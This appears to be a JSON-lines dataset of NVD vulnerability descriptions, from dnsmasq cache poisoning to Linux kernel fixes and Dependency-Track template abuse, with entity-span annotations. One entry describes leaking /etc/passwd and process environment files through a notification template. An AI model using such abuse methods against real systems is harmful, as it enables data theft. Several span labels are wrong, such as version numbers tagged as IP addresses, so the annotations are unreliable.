{"text": "A flaw was found in dnsmasq before version 2.83. When getting a reply from a forwarded query, dnsmasq checks in forward.c:reply_query(), which is the forwarded query that matches the reply, by only using a weak hash of the query name. Due to the weak hash (CRC32 when dnsmasq is compiled without DNSSEC, SHA-1 when it is) this flaw allows an off-path attacker to find several different domains all having the same hash, substantially reducing the number of attempts they would have to perform to forge a reply and get it accepted by dnsmasq. This is in contrast with RFC5452, which specifies that the query name is one of the attributes of a query that must be used to match a reply. This flaw could be abused to perform a DNS Cache Poisoning attack. If chained with CVE-2020-25684 the attack complexity of a successful attack is reduced. The highest threat from this vulnerability is to data integrity.", "spans": {"CVE_ID: CVE-2020-25684": [[767, 781]], "FILEPATH: forward.c": [[112, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25685"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhsr: Fix uninit-value access in fill_frame_info()\n\nSyzbot reports the following uninit-value access problem.\n\n=====================================================\nBUG: KMSAN: uninit-value in fill_frame_info net/hsr/hsr_forward.c:601 [inline]\nBUG: KMSAN: uninit-value in hsr_forward_skb+0x9bd/0x30f0 net/hsr/hsr_forward.c:616\n fill_frame_info net/hsr/hsr_forward.c:601 [inline]\n hsr_forward_skb+0x9bd/0x30f0 net/hsr/hsr_forward.c:616\n hsr_dev_xmit+0x192/0x330 net/hsr/hsr_device.c:223\n __netdev_start_xmit include/linux/netdevice.h:4889 [inline]\n netdev_start_xmit include/linux/netdevice.h:4903 [inline]\n xmit_one net/core/dev.c:3544 [inline]\n dev_hard_start_xmit+0x247/0xa10 net/core/dev.c:3560\n __dev_queue_xmit+0x34d0/0x52a0 net/core/dev.c:4340\n dev_queue_xmit include/linux/netdevice.h:3082 [inline]\n packet_xmit+0x9c/0x6b0 net/packet/af_packet.c:276\n packet_snd net/packet/af_packet.c:3087 [inline]\n packet_sendmsg+0x8b1d/0x9f30 net/packet/af_packet.c:3119\n sock_sendmsg_nosec net/socket.c:730 [inline]\n sock_sendmsg net/socket.c:753 [inline]\n __sys_sendto+0x781/0xa30 net/socket.c:2176\n __do_sys_sendto net/socket.c:2188 [inline]\n __se_sys_sendto net/socket.c:2184 [inline]\n __ia32_sys_sendto+0x11f/0x1c0 net/socket.c:2184\n do_syscall_32_irqs_on arch/x86/entry/common.c:112 [inline]\n __do_fast_syscall_32+0xa2/0x100 arch/x86/entry/common.c:178\n do_fast_syscall_32+0x37/0x80 arch/x86/entry/common.c:203\n do_SYSENTER_32+0x1f/0x30 arch/x86/entry/common.c:246\n entry_SYSENTER_compat_after_hwframe+0x70/0x82\n\nUninit was created at:\n slab_post_alloc_hook+0x12f/0xb70 mm/slab.h:767\n slab_alloc_node mm/slub.c:3478 [inline]\n kmem_cache_alloc_node+0x577/0xa80 mm/slub.c:3523\n kmalloc_reserve+0x148/0x470 net/core/skbuff.c:559\n __alloc_skb+0x318/0x740 net/core/skbuff.c:644\n alloc_skb include/linux/skbuff.h:1286 [inline]\n alloc_skb_with_frags+0xc8/0xbd0 net/core/skbuff.c:6299\n sock_alloc_send_pskb+0xa80/0xbf0 net/core/sock.c:2794\n packet_alloc_skb net/packet/af_packet.c:2936 [inline]\n packet_snd net/packet/af_packet.c:3030 [inline]\n packet_sendmsg+0x70e8/0x9f30 net/packet/af_packet.c:3119\n sock_sendmsg_nosec net/socket.c:730 [inline]\n sock_sendmsg net/socket.c:753 [inline]\n __sys_sendto+0x781/0xa30 net/socket.c:2176\n __do_sys_sendto net/socket.c:2188 [inline]\n __se_sys_sendto net/socket.c:2184 [inline]\n __ia32_sys_sendto+0x11f/0x1c0 net/socket.c:2184\n do_syscall_32_irqs_on arch/x86/entry/common.c:112 [inline]\n __do_fast_syscall_32+0xa2/0x100 arch/x86/entry/common.c:178\n do_fast_syscall_32+0x37/0x80 arch/x86/entry/common.c:203\n do_SYSENTER_32+0x1f/0x30 arch/x86/entry/common.c:246\n entry_SYSENTER_compat_after_hwframe+0x70/0x82\n\nIt is because VLAN not yet supported in hsr driver. Return error\nwhen protocol is ETH_P_8021Q in fill_frame_info() now to fix it.", "spans": {"FILEPATH: /hsr/hsr_forward.c": [[280, 298], [372, 390], [415, 433], [480, 498]], "FILEPATH: /hsr/hsr_device.c": [[532, 549]], "FILEPATH: /linux/netdevice.h": [[582, 600], [641, 659], [841, 859]], "FILEPATH: /core/dev.c": [[687, 698], [749, 760], [801, 812]], "FILEPATH: /packet/af_packet.c": [[901, 920], [940, 959], [1007, 1026], [2020, 2039], [2069, 2088], [2136, 2155]], "FILEPATH: /x86/entry/common.c": [[1326, 1345], [1396, 1415], [1454, 1473], [1508, 1527], [2455, 2474], [2525, 2544], [2583, 2602], [2637, 2656]], "FILEPATH: /core/skbuff.c": [[1774, 1788], [1821, 1835], [1924, 1938]], "FILEPATH: /linux/skbuff.h": [[1858, 1873]], "FILEPATH: /core/sock.c": [[1981, 1993]], "FILEPATH: socket.c": [[1056, 1064], [1096, 1104], [1148, 1156], [1183, 1191], [1227, 1235], [1285, 1293], [2185, 2193], [2225, 2233], [2277, 2285], [2312, 2320], [2356, 2364], [2414, 2422]], "FILEPATH: slab.h": [[1640, 1646]], "FILEPATH: slub.c": [[1671, 1677], [1730, 1736]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53462"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinder: fix race between mmput() and do_exit()\n\nTask A calls binder_update_page_range() to allocate and insert pages on\na remote address space from Task B. For this, Task A pins the remote mm\nvia mmget_not_zero() first. This can race with Task B do_exit() and the\nfinal mmput() refcount decrement will come from Task A.\n\n  Task A            | Task B\n  ------------------+------------------\n  mmget_not_zero()  |\n                    |  do_exit()\n                    |    exit_mm()\n                    |      mmput()\n  mmput()           |\n    exit_mmap()     |\n      remove_vma()  |\n        fput()      |\n\nIn this case, the work of ____fput() from Task B is queued up in Task A\nas TWA_RESUME. So in theory, Task A returns to userspace and the cleanup\nwork gets executed. However, Task A instead sleep, waiting for a reply\nfrom Task B that never comes (it's dead).\n\nThis means the binder_deferred_release() is blocked until an unrelated\nbinder event forces Task A to go back to userspace. All the associated\ndeath notifications will also be delayed until then.\n\nIn order to fix this use mmput_async() that will schedule the work in\nthe corresponding mm->async_put_work WQ instead of Task A.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52609"}}
{"text": "An Unchecked Return Value vulnerability in the Routing Protocol Daemon (rpd) on Juniper Networks Junos OS and Juniper Networks Junos OS Evolved allows a logically adjacent, unauthenticated attacker sending a specific PIM packet to cause rpd to crash and restart, resulting in a Denial of Service (DoS), when PIM is configured with Multicast-only Fast Reroute (MoFRR). Continued receipt and processing of this packet may create a sustained Denial of Service (DoS) condition.\n\nThis issue is observed on Junos and Junos Evolved platforms where PIM is configured along with MoFRR. MoFRR tries to select the active path, but due to an internal timing issue, rpd is unable to select the forwarding next-hop towards the source, resulting in an rpd crash.\n\nThis issue affects:\n\nJunos OS: \n\n\n  *  All versions before 20.4R3-S10, \n  *  from 21.2 before 21.2R3-S7, \n  *  from 21.4 before 21.4R3-S6, \n  *  from 22.1 before 22.1R3-S5, \n  *  from 22.2 before 22.2R3-S3, \n  *  from 22.3 before 22.3R3, \n  *  from 22.4 before 22.4R2; \n\n\n\n\nJunos OS Evolved: \n\n\n  *  All versions before 20.4R3-S10 -EVO,\n  *  All versions of 21.2-EVO,\n  *  from 21.4-EVO before 21.4R3-S9-EVO,\n  *  from 22.1-EVO before 22.1R3-S5-EVO,\n  *  from 22.2-EVO before 22.2R3-S3-EVO,\n  *  from 22.3-EVO before 22.3R3-EVO,\n  *  from 22.4-EVO before 22.4R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[80, 87], [110, 117]], "VULNERABILITY: Denial of Service": [[278, 295], [439, 456]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39558"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\n\nThe blamed commit disabled hardware offoad of IPv6 packets with\nextension headers on devices that advertise NETIF_F_IPV6_CSUM,\nbased on the definition of that feature in skbuff.h:\n\n *   * - %NETIF_F_IPV6_CSUM\n *     - Driver (device) is only able to checksum plain\n *       TCP or UDP packets over IPv6. These are specifically\n *       unencapsulated packets of the form IPv6|TCP or\n *       IPv6|UDP where the Next Header field in the IPv6\n *       header is either TCP or UDP. IPv6 extension headers\n *       are not supported with this feature. This feature\n *       cannot be set in features for a device with\n *       NETIF_F_HW_CSUM also set. This feature is being\n *       DEPRECATED (see below).\n\nThe change causes skb_warn_bad_offload to fire for BIG TCP\npackets.\n\n[  496.310233] WARNING: CPU: 13 PID: 23472 at net/core/dev.c:3129 skb_warn_bad_offload+0xc4/0xe0\n\n[  496.310297]  ? skb_warn_bad_offload+0xc4/0xe0\n[  496.310300]  skb_checksum_help+0x129/0x1f0\n[  496.310303]  skb_csum_hwoffload_help+0x150/0x1b0\n[  496.310306]  validate_xmit_skb+0x159/0x270\n[  496.310309]  validate_xmit_skb_list+0x41/0x70\n[  496.310312]  sch_direct_xmit+0x5c/0x250\n[  496.310317]  __qdisc_run+0x388/0x620\n\nBIG TCP introduced an IPV6_TLV_JUMBO IPv6 extension header to\ncommunicate packet length, as this is an IPv6 jumbogram. But, the\nfeature is only enabled on devices that support BIG TCP TSO. The\nheader is only present for PF_PACKET taps like tcpdump, and not\ntransmitted by physical devices.\n\nFor this specific case of extension headers that are not\ntransmitted, return to the situation before the blamed commit\nand support hardware offload.\n\nipv6_has_hopopt_jumbo() tests not only whether this header is present,\nbut also that it is the only extension header before a terminal (L4)\nheader.", "spans": {"FILEPATH: /core/dev.c": [[953, 964]], "FILEPATH: skbuff.h": [[300, 308]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21629"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: ftrace: fix module PLTs with mcount\n\nLi Huafei reports that mcount-based ftrace with module PLTs was broken\nby commit:\n\n  a6253579977e4c6f (\"arm64: ftrace: consistently handle PLTs.\")\n\nWhen a module PLTs are used and a module is loaded sufficiently far away\nfrom the kernel, we'll create PLTs for any branches which are\nout-of-range. These are separate from the special ftrace trampoline\nPLTs, which the module PLT code doesn't directly manipulate.\n\nWhen mcount is in use this is a problem, as each mcount callsite in a\nmodule will be initialized to point to a module PLT, but since commit\na6253579977e4c6f ftrace_make_nop() will assume that the callsite has\nbeen initialized to point to the special ftrace trampoline PLT, and\nftrace_find_callable_addr() rejects other cases.\n\nThis means that when ftrace tries to initialize a callsite via\nftrace_make_nop(), the call to ftrace_find_callable_addr() will find\nthat the `_mcount` stub is out-of-range and is not handled by the ftrace\nPLT, resulting in a splat:\n\n| ftrace_test: loading out-of-tree module taints kernel.\n| ftrace: no module PLT for _mcount\n| ------------[ ftrace bug ]------------\n| ftrace failed to modify\n| [<ffff800029180014>] 0xffff800029180014\n|  actual:   44:00:00:94\n| Initializing ftrace call sites\n| ftrace record flags: 2000000\n|  (0)\n|  expected tramp: ffff80000802eb3c\n| ------------[ cut here ]------------\n| WARNING: CPU: 3 PID: 157 at kernel/trace/ftrace.c:2120 ftrace_bug+0x94/0x270\n| Modules linked in:\n| CPU: 3 PID: 157 Comm: insmod Tainted: G           O       6.0.0-rc6-00151-gcd722513a189-dirty #22\n| Hardware name: linux,dummy-virt (DT)\n| pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n| pc : ftrace_bug+0x94/0x270\n| lr : ftrace_bug+0x21c/0x270\n| sp : ffff80000b2bbaf0\n| x29: ffff80000b2bbaf0 x28: 0000000000000000 x27: ffff0000c4d38000\n| x26: 0000000000000001 x25: ffff800009d7e000 x24: ffff0000c4d86e00\n| x23: 0000000002000000 x22: ffff80000a62b000 x21: ffff8000098ebea8\n| x20: ffff0000c4d38000 x19: ffff80000aa24158 x18: ffffffffffffffff\n| x17: 0000000000000000 x16: 0a0d2d2d2d2d2d2d x15: ffff800009aa9118\n| x14: 0000000000000000 x13: 6333626532303830 x12: 3030303866666666\n| x11: 203a706d61727420 x10: 6465746365707865 x9 : 3362653230383030\n| x8 : c0000000ffffefff x7 : 0000000000017fe8 x6 : 000000000000bff4\n| x5 : 0000000000057fa8 x4 : 0000000000000000 x3 : 0000000000000001\n| x2 : ad2cb14bb5438900 x1 : 0000000000000000 x0 : 0000000000000022\n| Call trace:\n|  ftrace_bug+0x94/0x270\n|  ftrace_process_locs+0x308/0x430\n|  ftrace_module_init+0x44/0x60\n|  load_module+0x15b4/0x1ce8\n|  __do_sys_init_module+0x1ec/0x238\n|  __arm64_sys_init_module+0x24/0x30\n|  invoke_syscall+0x54/0x118\n|  el0_svc_common.constprop.4+0x84/0x100\n|  do_el0_svc+0x3c/0xd0\n|  el0_svc+0x1c/0x50\n|  el0t_64_sync_handler+0x90/0xb8\n|  el0t_64_sync+0x15c/0x160\n| ---[ end trace 0000000000000000 ]---\n| ---------test_init-----------\n\nFix this by reverting to the old behaviour of ignoring the old\ninstruction when initialising an mcount callsite in a module, which was\nthe behaviour prior to commit a6253579977e4c6f.", "spans": {"FILEPATH: /trace/ftrace.c": [[1495, 1510]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50579"}}
{"text": "GraphQL Playground (graphql-playground-html NPM package) before version 1.6.22 have a severe XSS Reflection attack vulnerability. All unsanitized user input passed into renderPlaygroundPage() method could trigger this vulnerability. This has been patched in graphql-playground-html version 1.6.22. Note that some of the associated dependent middleware packages are also affected including but not limited to graphql-playground-middleware-express before version 1.7.16, graphql-playground-middleware-koa before version 1.6.15, graphql-playground-middleware-lambda before version 1.7.17, and graphql-playground-middleware-hapi before 1.6.13.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4038"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: sch_api: fix xa_insert() error path in tcf_block_get_ext()\n\nThis command:\n\n$ tc qdisc replace dev eth0 ingress_block 1 egress_block 1 clsact\nError: block dev insert failed: -EBUSY.\n\nfails because user space requests the same block index to be set for\nboth ingress and egress.\n\n[ side note, I don't think it even failed prior to commit 913b47d3424e\n  (\"net/sched: Introduce tc block netdev tracking infra\"), because this\n  is a command from an old set of notes of mine which used to work, but\n  alas, I did not scientifically bisect this ]\n\nThe problem is not that it fails, but rather, that the second time\naround, it fails differently (and irrecoverably):\n\n$ tc qdisc replace dev eth0 ingress_block 1 egress_block 1 clsact\nError: dsa_core: Flow block cb is busy.\n\n[ another note: the extack is added by me for illustration purposes.\n  the context of the problem is that clsact_init() obtains the same\n  &q->ingress_block pointer as &q->egress_block, and since we call\n  tcf_block_get_ext() on both of them, \"dev\" will be added to the\n  block->ports xarray twice, thus failing the operation: once through\n  the ingress block pointer, and once again through the egress block\n  pointer. the problem itself is that when xa_insert() fails, we have\n  emitted a FLOW_BLOCK_BIND command through ndo_setup_tc(), but the\n  offload never sees a corresponding FLOW_BLOCK_UNBIND. ]\n\nEven correcting the bad user input, we still cannot recover:\n\n$ tc qdisc replace dev swp3 ingress_block 1 egress_block 2 clsact\nError: dsa_core: Flow block cb is busy.\n\nBasically the only way to recover is to reboot the system, or unbind and\nrebind the net device driver.\n\nTo fix the bug, we need to fill the correct error teardown path which\nwas missed during code movement, and call tcf_block_offload_unbind()\nwhen xa_insert() fails.\n\n[ last note, fundamentally I blame the label naming convention in\n  tcf_block_get_ext() for the bug. The labels should be named after what\n  they do, not after the error path that jumps to them. This way, it is\n  obviously wrong that two labels pointing to the same code mean\n  something is wrong, and checking the code correctness at the goto site\n  is also easier ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53044"}}
{"text": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to immediately revoke active user sessions when an account is deleted. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions. The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deleted accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access. This issue has been patched in version 0.31.0.0.", "spans": {"IP_ADDRESS: 0.31.0.0": [[159, 167], [821, 829]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34570"}}
{"text": "In TensorFlow Lite before versions 2.2.1 and 2.3.1, models using segment sum can trigger a write out bounds / segmentation fault if the segment ids are not sorted. Code assumes that the segment ids are in increasing order, using the last element of the tensor holding them to determine the dimensionality of output tensor. This results in allocating insufficient memory for the output tensor and in a write outside the bounds of the output array. This usually results in a segmentation fault, but depending on runtime conditions it can provide for a write gadget to be used in future memory corruption-based exploits. The issue is patched in commit 204945b19e44b57906c9344c0d00120eeeae178a and is released in TensorFlow versions 2.2.1, or 2.3.1. A potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are sorted, although this only handles the case when the segment ids are stored statically in the model. A similar validation could be done if the segment ids are generated at runtime between inference steps. If the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.", "spans": {"HASH: 204945b19e44b57906c9344c0d00120eeeae178a": [[649, 689]], "VULNERABILITY: memory corruption": [[584, 601]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15214"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.59 and 9.6.0-alpha.53, an attacker with master key access can execute arbitrary SQL statements on the PostgreSQL database by injecting SQL metacharacters into field name parameters of the aggregate $group pipeline stage or the distinct operation. This allows privilege escalation from Parse Server application-level administrator to PostgreSQL database-level access. Only Parse Server deployments using PostgreSQL are affected. MongoDB deployments are not affected. This issue has been patched in versions 8.6.59 and 9.6.0-alpha.53.", "spans": {"FILEPATH: Node.js": [[95, 102]], "SYSTEM: PostgreSQL": [[228, 238], [459, 469], [529, 539]], "SYSTEM: MongoDB": [[554, 561]], "VULNERABILITY: privilege escalation": [[385, 405]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33539"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: dwc3: Remove WARN_ON for device endpoint command timeouts\n\nThis commit addresses a rarely observed endpoint command timeout\nwhich causes kernel panic due to warn when 'panic_on_warn' is enabled\nand unnecessary call trace prints when 'panic_on_warn' is disabled.\nIt is seen during fast software-controlled connect/disconnect testcases.\nThe following is one such endpoint command timeout that we observed:\n\n1. Connect\n   =======\n->dwc3_thread_interrupt\n ->dwc3_ep0_interrupt\n  ->configfs_composite_setup\n   ->composite_setup\n    ->usb_ep_queue\n     ->dwc3_gadget_ep0_queue\n      ->__dwc3_gadget_ep0_queue\n       ->__dwc3_ep0_do_control_data\n        ->dwc3_send_gadget_ep_cmd\n\n2. Disconnect\n   ==========\n->dwc3_thread_interrupt\n ->dwc3_gadget_disconnect_interrupt\n  ->dwc3_ep0_reset_state\n   ->dwc3_ep0_end_control_data\n    ->dwc3_send_gadget_ep_cmd\n\nIn the issue scenario, in Exynos platforms, we observed that control\ntransfers for the previous connect have not yet been completed and end\ntransfer command sent as a part of the disconnect sequence and\nprocessing of USB_ENDPOINT_HALT feature request from the host timeout.\nThis maybe an expected scenario since the controller is processing EP\ncommands sent as a part of the previous connect. It maybe better to\nremove WARN_ON in all places where device endpoint commands are sent to\navoid unnecessary kernel panic due to warn.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39801"}}
{"text": "A UNIX Symbolic Link (Symlink) Following vulnerability in the packaging of syslog-ng of SUSE Linux Enterprise Debuginfo 11-SP3, SUSE Linux Enterprise Debuginfo 11-SP4, SUSE Linux Enterprise Module for Legacy Software 12, SUSE Linux Enterprise Point of Sale 11-SP3, SUSE Linux Enterprise Server 11-SP4-LTSS, SUSE Linux Enterprise Server for SAP 12-SP1; openSUSE Backports SLE-15-SP1, openSUSE Leap 15.1 allowed local attackers controlling the user news to escalate their privileges to root. This issue affects: SUSE Linux Enterprise Debuginfo 11-SP3 syslog-ng versions prior to 2.0.9-27.34.40.5.1. SUSE Linux Enterprise Debuginfo 11-SP4 syslog-ng versions prior to 2.0.9-27.34.40.5.1. SUSE Linux Enterprise Module for Legacy Software 12 syslog-ng versions prior to 3.6.4-12.8.1. SUSE Linux Enterprise Point of Sale 11-SP3 syslog-ng versions prior to 2.0.9-27.34.40.5.1. SUSE Linux Enterprise Server 11-SP4-LTSS syslog-ng versions prior to 2.0.9-27.34.40.5.1. SUSE Linux Enterprise Server for SAP 12-SP1 syslog-ng versions prior to 3.6.4-12.8.1. openSUSE Backports SLE-15-SP1 syslog-ng versions prior to 3.19.1-bp151.4.6.1. openSUSE Leap 15.1 syslog-ng versions prior to 3.19.1-lp151.3.6.1.", "spans": {"IP_ADDRESS: 27.34.40.5": [[583, 593], [670, 680], [855, 865], [944, 954]], "SYSTEM: Linux": [[93, 98], [133, 138], [173, 178], [226, 231], [270, 275], [312, 317], [515, 520], [602, 607], [689, 694], [783, 788], [874, 879], [963, 968]], "ORGANIZATION: SUSE": [[88, 92], [128, 132], [168, 172], [221, 225], [265, 269], [307, 311], [510, 514], [597, 601], [684, 688], [778, 782], [869, 873], [958, 962]], "ORGANIZATION: SAP": [[340, 343], [991, 994]], "VULNERABILITY: Symlink": [[22, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8019"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dp: do not complete dp_aux_cmd_fifo_tx() if irq is not for aux transfer\n\nThere are 3 possible interrupt sources are handled by DP controller,\nHPDstatus, Controller state changes and Aux read/write transaction.\nAt every irq, DP controller have to check isr status of every interrupt\nsources and service the interrupt if its isr status bits shows interrupts\nare pending. There is potential race condition may happen at current aux\nisr handler implementation since it is always complete dp_aux_cmd_fifo_tx()\neven irq is not for aux read or write transaction. This may cause aux read\ntransaction return premature if host aux data read is in the middle of\nwaiting for sink to complete transferring data to host while irq happen.\nThis will cause host's receiving buffer contains unexpected data. This\npatch fixes this problem by checking aux isr and return immediately at\naux isr handler if there are no any isr status bits set.\n\nCurrent there is a bug report regrading eDP edid corruption happen during\nsystem booting up. After lengthy debugging to found that VIDEO_READY\ninterrupt was continuously firing during system booting up which cause\ndp_aux_isr() to complete dp_aux_cmd_fifo_tx() prematurely to retrieve data\nfrom aux hardware buffer which is not yet contains complete data transfer\nfrom sink. This cause edid corruption.\n\nFollows are the signature at kernel logs when problem happen,\nEDID has corrupt header\npanel-simple-dp-aux aux-aea0000.edp: Couldn't identify panel via EDID\n\nChanges in v2:\n-- do complete if (ret == IRQ_HANDLED) ay dp-aux_isr()\n-- add more commit text\n\nChanges in v3:\n-- add Stephen suggested\n-- dp_aux_isr() return IRQ_XXX back to caller\n-- dp_ctrl_isr() return IRQ_XXX back to caller\n\nChanges in v4:\n-- split into two patches\n\nChanges in v5:\n-- delete empty line between tags\n\nChanges in v6:\n-- remove extra \"that\" and fixed line more than 75 char at commit text\n\nPatchwork: https://patchwork.freedesktop.org/patch/516121/", "spans": {"URL: https://patchwork.freedesktop.org/patch/516121/": [[1980, 2027]], "FILEPATH: /msm/dp": [[72, 79]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[465, 479]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48898"}}
{"text": "OpenSearch Data Prepper is a component of the OpenSearch project that accepts, filters, transforms, enriches, and routes data at scale. A vulnerability exists in the OpenTelemetry Logs source in Data Prepper starting inversion 2.1.0 and prior to version 2.10.2 where some custom authentication plugins will not perform authentication. This allows unauthorized users to ingest OpenTelemetry Logs data under certain conditions. This vulnerability does not affect the built-in `http_basic` authentication provider in Data Prepper. Pipelines which use the `http_basic` authentication provider continue to require authentication. The vulnerability exists only for custom implementations of Data Prepper’s `GrpcAuthenticationProvider` authentication plugin which implement the `getHttpAuthenticationService()` method instead of `getAuthenticationInterceptor()`. Data Prepper 2.10.2 contains a fix for this issue. For those unable to upgrade, one may use the built-in `http_basic` authentication provider in Data Prepper and/or add an authentication proxy in front of one's Data Prepper instances running the OpenTelemetry Logs source.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55886"}}
{"text": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Web Container). Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N).", "spans": {"IP_ADDRESS: 12.1.3.0": [[149, 157]], "IP_ADDRESS: 12.2.1.3": [[161, 169]], "IP_ADDRESS: 12.2.1.4": [[173, 181]], "IP_ADDRESS: 14.1.1.0": [[188, 196]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [310, 316], [552, 558], [665, 671]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14557"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath12k: fix node corruption in ar->arvifs list\n\nIn current WLAN recovery code flow, ath12k_core_halt() only reinitializes\nthe \"arvifs\" list head. This will cause the list node immediately following\nthe list head to become an invalid list node. Because the prev of that node\nstill points to the list head \"arvifs\", but the next of the list head\n\"arvifs\" no longer points to that list node.\n\nWhen a WLAN recovery occurs during the execution of a vif removal, and it\nhappens before the spin_lock_bh(&ar->data_lock) in\nath12k_mac_vdev_delete(), list_del() will detect the previously mentioned\nsituation, thereby triggering a kernel panic.\n\nThe fix is to remove and reinitialize all vif list nodes from the list head\n\"arvifs\" during WLAN halt. The reinitialization is to make the list nodes\nvalid, ensuring that the list_del() in ath12k_mac_vdev_delete() can execute\nnormally.\n\nCall trace:\n__list_del_entry_valid_or_report+0xd4/0x100 (P)\nath12k_mac_remove_link_interface.isra.0+0xf8/0x2e4 [ath12k]\nath12k_scan_vdev_clean_work+0x40/0x164 [ath12k]\ncfg80211_wiphy_work+0xfc/0x100\nprocess_one_work+0x164/0x2d0\nworker_thread+0x254/0x380\nkthread+0xfc/0x100\nret_from_fork+0x10/0x20\n\nThe change is mostly copied from the ath11k patch:\nhttps://lore.kernel.org/all/20250320053145.3445187-1-quic_stonez@quicinc.com/\n\nTested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.4.1-00199-QCAHKSWPL_SILICONZ-1", "spans": {"URL: https://lore.kernel.org/all/20250320053145.3445187-1-quic_stonez@quicinc.com/": [[1297, 1374]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38290"}}
{"text": "Dependency-Track is a component analysis platform that allows organizations to identify and reduce risk in the software supply chain. Dependency-Track allows users with the `SYSTEM_CONFIGURATION` permission to customize notification templates. Templates are evaluated using the Pebble template engine. Pebble supports an `include` tag, which allows template authors to include the content of arbitrary files upon evaluation. Prior to version 4.12.6, users of Dependency-Track with the `SYSTEM_CONFIGURATION` permission can abuse the `include` tag by crafting notification templates that `include` sensitive local files, such as `/etc/passwd` or `/proc/1/environ`. By configuring such a template for a notification rule (aka \"Alert\"), and having it send notifications to a destination controlled by the actor, sensitive information may be leaked. The issue has been fixed in Dependency-Track 4.12.6. In fixed versions, the `include` tag can no longer be used. Usage of the tag will cause template evaluation to fail. As a workaround, avoid assigning the `SYSTEM_CONFIGURATION` permission to untrusted users. The `SYSTEM_CONFIGURATION` permission per default is only granted to members of the `Administrators` team. Assigning this permission to non-administrative users or teams is a security risk in itself, and highly discouraged.", "spans": {"FILEPATH: /etc/passwd": [[629, 640]], "FILEPATH: /proc/1/environ": [[646, 661]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27137"}}
{"text": "Xerox Phaser 6510 before 64.65.51 and 64.59.11 (Bridge), WorkCentre 6515 before 65.65.51 and 65.59.11 (Bridge), VersaLink B400 before 37.65.51 and 37.59.01 (Bridge), B405 before 38.65.51 and 38.59.01 (Bridge), B600/B610 before 32.65.51 and 32.59.01 (Bridge), B605/B615 before 33.65.51 and 33.59.01 (Bridge), B7025/30/35 before 58.65.51 and 58.59.11 (Bridge), C400 before 67.65.51 and 67.59.01 (Bridge), C405 before 68.65.51 and 68.59.01 (Bridge), C500/C600 before 61.65.51 and 61.59.01 (Bridge), C505/C605 before 62.65.51 and 62.59.01 (Bridge), C7000 before 56.65.51 and 56.59.01 (Bridge), C7020/25/30 before 57.65.51 and 57.59.01 (Bridge), C8000/C9000 before 70.65.51 and 70.59.01 (Bridge), C8000W before 72.65.51 allows remote attackers to execute arbitrary code through a buffer overflow in Web page parameter handling.", "spans": {"FILEPATH: /30/35": [[313, 319]], "FILEPATH: /25/30": [[595, 601]], "ORGANIZATION: Xerox": [[0, 5]], "VULNERABILITY: buffer overflow": [[775, 790]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28672"}}
